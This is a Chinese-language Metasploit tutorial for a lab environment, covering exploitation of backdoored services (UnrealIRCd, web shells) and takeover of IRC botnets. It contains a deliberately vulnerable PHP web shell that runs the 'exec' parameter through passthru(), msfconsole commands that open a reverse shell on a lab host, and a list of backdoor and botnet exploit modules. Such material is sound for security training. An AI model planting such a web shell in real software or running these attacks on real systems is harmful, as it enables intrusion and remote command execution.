Metasploit Framework中有很多漏洞利用模块,包括缓冲区溢出,浏览器漏洞利用,Web应用程序漏洞,后门利用,僵尸接管工具等。Exploit开发者以及对这个框架有贡献的人已经分享了很多有趣并且有用的东西。
这篇文章中,我们将讨论利用Metasploit来攻击并接管常见的后门和僵尸网络的话题。我们不会深入研究所有的模块,但是会提到一些在未来渗透测试或者工作时会用到的模块。我们不会开发Exploit,所以不需要你使用调试器和代码编辑器。
如果你刚开始利用Msfconsole(框架的一个命令行接口)来使用Metasploit Framework,不必担心,这里会一步一步地教你怎么使用漏洞利用模块。这个教程只需要你做一件事,在你的攻击机上安装Metasploit,我建议你使用Kali Linux或者BackBox,这是渗透测试的发行版系统,已经预先安装了Metasploit。
对于我们的目标机,我建议你把metasploitable 2安装到喜欢的虚拟化平台上,比如VMWare或者VirtualBox。Metasploitable 2是一个有漏洞的Ubuntun Linux虚拟机,你可以用它练习你的Metasploit使用技巧,因为它上面安装了一些不安全的程序。
Metasploitable 2虚拟机配置安装了包含有后门和公开漏洞的服务。
在6667端口上,Metasploitable 2上运行着有后门的UnreaIRCD IRC后台程序,可以通过发送字母“AB”触发,攻击者能够以运行ircd的用户权限执行任意系统命令。这是一个非常好的用来练习的漏洞,我们试试看能不能弹出一个shell。很幸运,Metasploit已经有一个该漏洞的利用模块,位于exploit/unix/irc/unreal_ircd_3281_backdoor下面。
输入msfconsole打开Metasploit的命令行接口。输入info exploit/unix/irc/unreal_ircd_3281_backdoor可以看到模块的描述信息:“这个模块利用漏洞攻击一个附加有恶意后门的Unreal IRCD 3.2.8.1下载包。该后门位于2009年11月到2010年6月12日期间的Unreal3.2.8.1.tar.gz压缩包中”
现在,是时候攻击这个包含有后门的服务了!
哇哦,我们拿到了shell。想要获取更多关于其它有后门的服务的信息,请查看Metasploitable 2 Exploitability Guide。
我们讨论的不应该是常见的后门和僵尸网络接管话题吗?是的!我们才刚刚开始,刚才做了一个简单而又简短的介绍,如何利用MSF控制台来攻击UnreaIRCD IRC服务中的后门。
我们的目标是介绍一个新奇的玩意儿,Metasploit已经有了这一类模块,这些模块并不是在Web应用程序上远程执行任意代码,也不是在应用程序或服务上进行缓冲区溢出攻击。
在下一个例子中,我们将会使用一个我写的Simple Backdoor Shell Remote Code Execution模块攻击一个Web后门。这个模块攻击一个简单的web后门,利用常见后门shell的有脆弱点的参数执行命令。
Daniel Miessler和Jason Haddix的OWASP安全列表工程里有很多这类后门shell的样本,它们被分类编入到Payloads下面。
在我们探究Simple Backdoor Shell Remote Code Execution模块之前,我们首先要在目标机器上创建一个后门shell。我建议你在Linux虚拟机上安装一个Apache服务器,并编写以下有漏洞的代码:
- <?php
- if ( isset( $_GET[‘exec’] ) ) {
- if ( false === passthru( $_GET[‘exec’] ) )
- echo ‘So sad, this is an error – aurelius of Infosec Institute’;
- }
- ?>
我把这个代码放在Ubuntun VM虚拟机的/var/www/html/msfdev/vulnerable.php路径下,这样我可以使用浏览器访问http://localhost/msfdev/vulnerable.php,如下图所示,利用这个漏洞代码的POC就可以通过exec参数执行任意命令。
现在,我们使用Simple Backdoor Shell Remote Code Execution模块。
正如你看到的执行show option命令之后的输出信息,有一些必须的设置的选项(除RHOST,RPORT,以及其它普通选项外),通过设置METHOD指定HTTP方法,通过设置TARGETURI指定后门shell的路径,以及通过设置VAR指定参数或者说命令变量。
假设我们的目标机的IP地址是192.168.150.136,我们需要把RHOST设置成这个地址,通过设置TARGETURI为/msfdev/vulnerable.php来定义我们的后门shell的位置。然后是VAR选项,我们可以设置为exec,这样就可以执行任意命令。我们不需要设置HTTP方法,因为web应用程序允许GET方法,并且通过GET方法就可以进行漏洞利用。
- msf exploit(simple_backdoors_exec) > set rhost 192.168.150.136
- rhost => 192.168.150.136
- msf exploit(simple_backdoors_exec) > set var exec
- var => exec
- msf exploit(simple_backdoors_exec) > set TARGETURI /msfdev/vulnerable.php
- TAGETURI => /msfdev/vulnerable.php
- msf exploit(simple_backdoors_exec) >exploit
- [*] Started reverse double handler
- [*] Accepted the first client connection…
- [*] Accepted the second client connection…
- [*] Command: echo wE5lyQtBEHIWwFd4;
- [*] Writing to socket A
- [*] Writing to socket B
- [*] Reading from sockets…
- [*] Reading from socket A
- [*] A: “wE5lyQtBEHIWwFd4\r\n”
- [*] Matching…
- [*] B is input…
- [*] Command shell session 1 opened (192.168.150.129:4444 -> 192.168.150.136:49484) at 2016-02-22 09:24:57 -0500
成功弹出了第二个shell!好了,这就是利用这个模块攻击web shell的全过程。
以下是一些与这类模块相关的其它漏洞利用模块:
Th3 MMA mma.php Backdoor Arbitrary File Upload – 这个模块攻击Th3 MMA mma.php后门,可以上传任意文件,这导致任意代码执行。因为php_uname()函数,这个后门也回显了Linux内核版本号或者操作系统版本号。
Zemra Botnet CnC Web Panel Remote Code Execution – 这个模块攻击CnC web panel of Zemra僵尸网络,在其泄漏的源码中包含了一个后门。Zemra是一个可以实施DDOS攻击的恶意软件,被Symantec发现并命名为Backdoor.Zemra。
China Chopper Caidao PHP Backdoor Code Execution – 这个模块攻击一个中国黑客广泛使用的中国菜刀webshell。
Horde 3.3.12 Backdoor Arbitrary PHP Code Execution – 这个模块攻击一个包含有任意PHP代码执行漏洞后门的Horde 3.3.12 and Horde Groupware 1.2.10。
OpenX Backdoor PHP Code Execution – 至少在2012年11月到2013年8月期间,penX Ad Server version 2.8.10上搭载了一个隐藏的后门。漏洞利用非常简单,只需要发送一个含有rot13’d和回连载荷的单独请求。
STUNSHELL Web Shell Remote PHP Code Execution – 这个模块攻击一个“STUNSHELL”Webshell的未证实版本。当Web服务器上开启了安全模式时这个模块有效。该shell被广泛用在自动化RFI载荷中。
继续,列表会越来越长。通过命令search backdoor你可以获取更多的模块。
我编写和贡献的另一类模块是针对僵尸网络接管的。一个好例子是w3tw0rk / Pitbul IRC Bot Remote Code Execution。这个模块攻击一个w3tw0rk僵尸网络,把你的昵称注册或者伪装成注册僵尸网络的IRC频道的管理员或者看守人。
我想把这个作为一个挑战给你,因此我不会解释这些选项的含义以及如何攻击这类僵尸网络,而且已经有了一个这个漏洞利用的截屏。我想你已经通过前面的指令看到了设置Metasploit的模式。
这里是w3tw0rk / Pitbul IRC的源代码脚本,它可以用来发动DDos(分布式拒绝服务)或者DoS(拒绝服务)攻击:
https://github.com/shipcod3/IRC-Bot-Hunters/blob/master/malicious_samples/w3tw0rk.txt。你应该在你的虚拟机中运行它,确保它连上你自己的IRC服务器,这样你的虚拟机就不会被其它的僵尸网络看守者或恶意软件十字军所控制。
我编写的大多数僵尸网络漏洞利用模块的灵感来源于PHP IRC Bot pbot eval() Remote Code Execution模块,这是Metasploit中的第一个IRC僵尸网络exploit。根据其描述,“这个模块可以在PHP IRC bot pbot上远程命令执行,因为在实现.php命令时对eval()函数的滥用。该模块在Jay Turla分析的pbot版本上测试成功,发布在Infosec Institue,运行于Ubuntu 10.04和Windows XP SP3。”
我不对这个脚本造成的危害负责,但是请仅作为教学目的使用。
其它与僵尸网络接管相关的漏洞利用模块:
Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution – 这个模块可以在xdh开发的IRC Bot上远程命令执行。这个perl bot是Conor Patrick用他的shellshock蜜罐服务器捕获的,Markus Zanke将其划入到fBot (Fire & Forget – DDoS Bot)类别中。Matt Thayer发现这个脚本有一个LinuxNet perlbot的描述。这个bot只应答配置在perl脚本中的服务名和昵称,因此,为了攻击这个bot你需要能够操作IRC网络来欺骗它或者至少有和配置中相同的ip。
Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution – 这个模块可以在PHP IRC bot Ra1NX 上远程命令执行,通过使用私人信息中的public call特性来秘密绕过认证系统。
Legend Perl IRC Bot Remote Code Execution – 这个模块可以在Legend Perl IRC Bot上远程命令执行。2014年10月该bot被作为一个载荷用在Shellshock spam中。这个特殊的bot有一些功能,比如NMAP扫描, TCP, HTTP, SQL, and UDP洪泛攻击,清除系统日志,获取root权限,VNC扫描。Damballa的高级威胁研究专家Kevin Stevens把这个脚本上传到VirusTotal上,其md5为11a9f1589472efa719827079c3d13f76。
Dexter (CasinoLoader) SQL Injection – 这个模块攻击一个在control Dexter上使用的命令和控制面板中发现的漏洞。漏洞利用通过访问一个bots使用的PHP页面(gateway.php)实现,这个页面并没有对输入作防护。输入被加密和编码。命令和控制面板指定了一个上传文件的位置,这可以作为写入PHP shell的可靠位置。攻击这个漏洞并不需要认证。
参考文献:
https://community.rapid7.com/docs/DOC-1875
https://forums.unrealircd.org/viewtopic.php?t=6562
https://github.com/rapid7/metasploit-framework/